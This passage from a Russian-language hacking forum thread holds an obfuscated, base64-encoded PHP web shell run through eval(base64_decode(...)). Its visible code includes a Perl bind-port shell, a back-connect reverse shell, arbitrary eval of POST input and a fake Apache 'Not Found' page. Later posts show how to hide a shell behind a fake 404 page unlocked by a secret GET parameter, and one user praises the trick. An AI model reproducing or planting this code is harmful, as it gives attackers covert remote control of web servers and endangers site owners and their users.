YjNObEtGTlVSRVZTVWlrNyUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyNGJpbmRfcG9ydF9wJTNEJTIySXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjAlM0QlMjIlM0IlMEElMjAlMjAlMjAlMjBlY2hvJTIwJTIyJTNDaDElM0VOZXR3b3JrJTIwdG9vbHMlM0MvaDElM0UlM0NkaXYlMjBjbGFzcyUzRGNvbnRlbnQlM0UlMEElMjAlMjAlMjAlMjAlM0Nmb3JtJTIwbmFtZSUzRCUyN25mcCUyNyUyMG9uU3VibWl0JTNEJTVDJTIyZyUyOG51bGwlMkNudWxsJTJDJTI3YnBwJTI3JTJDdGhpcy5wb3J0LnZhbHVlJTI5JTNCcmV0dXJuJTIwZmFsc2UlM0IlNUMlMjIlM0UlMEElMjAlMjAlMjAlMjAlM0NzcGFuJTNFQmluZCUyMHBvcnQlMjB0byUyMC9iaW4vc2glMjAlNUJwZXJsJTVEJTNDL3NwYW4lM0UlM0Nici8lM0UlMEElMjAlMjAlMjAlMjBQb3J0JTNBJTIwJTNDaW5wdXQlMjB0eXBlJTNEJTI3dGV4dCUyNyUyMG5hbWUlM0QlMjdwb3J0JTI3JTIwdmFsdWUlM0QlMjczMTMzNyUyNyUzRSUyMCUzQ2lucHV0JTIwdHlwZSUzRHN1Ym1pdCUyMHZhbHVlJTNEJTI3JTNFJTNFJTI3JTNFJTBBJTIwJTIwJTIwJTIwJTNDL2Zvcm0lM0UlMEElMjAlMjAlMjAlMjAlM0Nmb3JtJTIwbmFtZSUzRCUyN25mcCUyNyUyMG9uU3VibWl0JTNEJTVDJTIyZyUyOG51bGwlMkNudWxsJTJDJTI3YmNwJTI3JTJDdGhpcy5zZXJ2ZXIudmFsdWUlMkN0aGlzLnBvcnQudmFsdWUlMjklM0JyZXR1cm4lMjBmYWxzZSUzQiU1QyUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ3NwYW4lM0VCYWNrLWNvbm5lY3QlMjAlMjAlNUJwZXJsJTVEJTNDL3NwYW4lM0UlM0Nici8lM0UlMEElMjAlMjAlMjAlMjBTZXJ2ZXIlM0ElMjAlM0NpbnB1dCUyMHR5cGUlM0QlMjd0ZXh0JTI3JTIwbmFtZSUzRCUyN3NlcnZlciUyNyUyMHZhbHVlJTNEJTI3JTIyLiUyMCUyNF9TRVJWRVIlNUIlMjdSRU1PVEVfQUREUiUyNyU1RCUyMC4lMjIlMjclM0UlMjBQb3J0JTNBJTIwJTNDaW5wdXQlMjB0eXBlJTNEJTI3dGV4dCUyNyUyMG5hbWUlM0QlMjdwb3J0JTI3JTIwdmFsdWUlM0QlMjczMTMzNyUyNyUzRSUyMCUzQ2lucHV0JTIwdHlwZSUzRHN1Ym1pdCUyMHZhbHVlJTNEJTI3JTNFJTNFJTI3JTNFJTBBJTIwJTIwJTIwJTIwJTNDL2Zvcm0lM0UlM0NiciUzRSUyMiUzQiUwQSUyMCUyMCUyMCUyMGlmJTI4aXNzZXQlMjglMjRfUE9TVCU1QiUyN3AxJTI3JTVEJTI5JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZnVuY3Rpb24lMjBjZiUyOCUyNGYlMkMlMjR0JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0dyUyMCUzRCUyMEBmb3BlbiUyOCUyNGYlMkMlMjJ3JTIyJTI5JTIwb3IlMjBAZnVuY3Rpb25fZXhpc3RzJTI4JTI3ZmlsZV9wdXRfY29udGVudHMlMjclMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpZiUyOCUyNHclMjklN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBAZndyaXRlJTI4JTI0dyUyQ0BiYXNlNjRfZGVjb2RlJTI4JTI0dCUyOSUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEBmY2xvc2UlMjglMjR3JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjRfUE9TVCU1QiUyN3AxJTI3JTVEJTIwJTNEJTNEJTIwJTI3YnBwJTI3JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2YlMjglMjIvdG1wL2JwLnBsJTIyJTJDJTI0YmluZF9wb3J0X3AlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRvdXQlMjAlM0QlMjB3c29FeCUyOCUyMnBlcmwlMjAvdG1wL2JwLnBsJTIwJTIyLiUyNF9QT1NUJTVCJTI3cDIlMjclNUQuJTIyJTIwMSUzRS9kZXYvbnVsbCUyMDIlM0UlMjYxJTIwJTI2JTIyJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc2xlZXAlMjgxJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyMiUzQ3ByZSUyMGNsYXNzJTNEbWwxJTNFJTI0b3V0JTVDbiUyMi53c29FeCUyOCUyMnBzJTIwYXV4JTIwJTdDJTIwZ3JlcCUyMGJwLnBsJTIyJTI5LiUyMiUzQy9wcmUlM0UlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB1bmxpbmslMjglMjIvdG1wL2JwLnBsJTIyJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjRfUE9TVCU1QiUyN3AxJTI3JTVEJTIwJTNEJTNEJTIwJTI3YmNwJTI3JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwY2YlMjglMjIvdG1wL2JjLnBsJTIyJTJDJTI0YmFja19jb25uZWN0X3AlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRvdXQlMjAlM0QlMjB3c29FeCUyOCUyMnBlcmwlMjAvdG1wL2JjLnBsJTIwJTIyLiUyNF9QT1NUJTVCJTI3cDIlMjclNUQuJTIyJTIwJTIyLiUyNF9QT1NUJTVCJTI3cDMlMjclNUQuJTIyJTIwMSUzRS9kZXYvbnVsbCUyMDIlM0UlMjYxJTIwJTI2JTIyJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc2xlZXAlMjgxJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyMiUzQ3ByZSUyMGNsYXNzJTNEbWwxJTNFJTI0b3V0JTVDbiUyMi53c29FeCUyOCUyMnBzJTIwYXV4JTIwJTdDJTIwZ3JlcCUyMGJjLnBsJTIyJTI5LiUyMiUzQy9wcmUlM0UlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB1bmxpbmslMjglMjIvdG1wL2JjLnBsJTIyJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwZWNobyUyMCUyNyUzQy9kaXYlM0UlMjclM0IlMEElMjAlMjAlMjAlMjB3c29Gb290ZXIlMjglMjklM0IlMEElN0QlMEFmdW5jdGlvbiUyMGFjdGlvblJDJTI4JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwaWYlMjglMjFAJTI0X1BPU1QlNUIlMjdwMSUyNyU1RCUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGElMjAlM0QlMjBhcnJheSUyOCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnVuYW1lJTIyJTIwJTNEJTNFJTIwcGhwX3VuYW1lJTI4JTI5JTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIycGhwX3ZlcnNpb24lMjIlMjAlM0QlM0UlMjBwaHB2ZXJzaW9uJTI4JTI5JTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyd3NvX3ZlcnNpb24lMjIlMjAlM0QlM0UlMjBXU09fVkVSU0lPTiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnNhZmVtb2RlJTIyJTIwJTNEJTNFJTIwQGluaV9nZXQlMjglMjdzYWZlX21vZGUlMjclMjklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwc2VyaWFsaXplJTI4JTI0YSUyOSUzQiUwQSUyMCUyMCUyMCUyMCU3RCUyMGVsc2UlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBldmFsJTI4JTI0X1BPU1QlNUIlMjdwMSUyNyU1RCUyOSUzQiUwQSUyMCUyMCUyMCUyMCU3RCUwQSU3RCUwQWlmJTI4JTIwZW1wdHklMjglMjRfUE9TVCU1QiUyN2ElMjclNUQlMjklMjAlMjklMEElMjAlMjAlMjAlMjBpZiUyOGlzc2V0JTI4JTI0ZGVmYXVsdF9hY3Rpb24lMjklMjAlMjYlMjYlMjBmdW5jdGlvbl9leGlzdHMlMjglMjdhY3Rpb24lMjclMjAuJTIwJTI0ZGVmYXVsdF9hY3Rpb24lMjklMjklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRfUE9TVCU1QiUyN2ElMjclNUQlMjAlM0QlMjAlMjRkZWZhdWx0X2FjdGlvbiUzQiUwQSUyMCUyMCUyMCUyMGVsc2UlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRfUE9TVCU1QiUyN2ElMjclNUQlMjAlM0QlMjAlMjdTZWNJbmZvJTI3JTNCJTBBaWYlMjglMjAlMjFlbXB0eSUyOCUyNF9QT1NUJTVCJTI3YSUyNyU1RCUyOSUyMCUyNiUyNiUyMGZ1bmN0aW9uX2V4aXN0cyUyOCUyN2FjdGlvbiUyNyUyMC4lMjAlMjRfUE9TVCU1QiUyN2ElMjclNUQlMjklMjAlMjklMEElMjAlMjAlMjAlMjBjYWxsX3VzZXJfZnVuYyUyOCUyN2FjdGlvbiUyNyUyMC4lMjAlMjRfUE9TVCU1QiUyN2ElMjclNUQlMjklM0IlMEFleGl0JTNCJTBBJTdEZWxzZSU3QiUwQWVjaG8lMjclMEElM0NoMSUzRU5vdCUyMEZvdW5kJTNDL2gxJTNFJTBBJTNDcCUzRVRoZSUyMHJlcXVlc3RlZCUyMFVSTCUyMHdhcyUyMG5vdCUyMGZvdW5kJTIwb24lMjB0aGlzJTIwc2VydmVyLiUzQy9wJTNFJTBBJTNDaHIlM0UlMEElM0NhZGRyZXNzJTNFQXBhY2hlJTIwU2VydmVyJTIwYXQlMjAlMjcuJTI0X1NFUlZFUiU1QiUyN0hUVFBfSE9TVCUyNyU1RC4lMjclMjBQb3J0JTIwODAlM0MvYWRkcmVzcyUzRSUwQSUyNyUzQg=="; eval(base64_decode($string));
    ?>
     
  5. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.680
    Симпатии:
    2.274
    бро if else заебет ) потому что многие шеллы пишутся не с помощи short_open tags а с помощи full tags

    можно и так


    PHP:
    <?php
    $xD
    ='<h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>
    <address>Apache Server at '
    .$_SERVER['HTTP_HOST'].' Port ' $_SERVER['SERVER_PORT'] . '</address>' PHP_EOL;
    if(!isset(
    $_GET['id']) || empty($_GET['id']) || !is_string($_GET['id'])){echo $xD;header('Status: 404 Not found!');exit;}?>
     
     
     
    // тут шелл
     
    • Like Like x 1
  6. ilya_01

    ilya_01 Гость

    прикольно придумали прятать))
     

Поделиться этой страницей

Загрузка...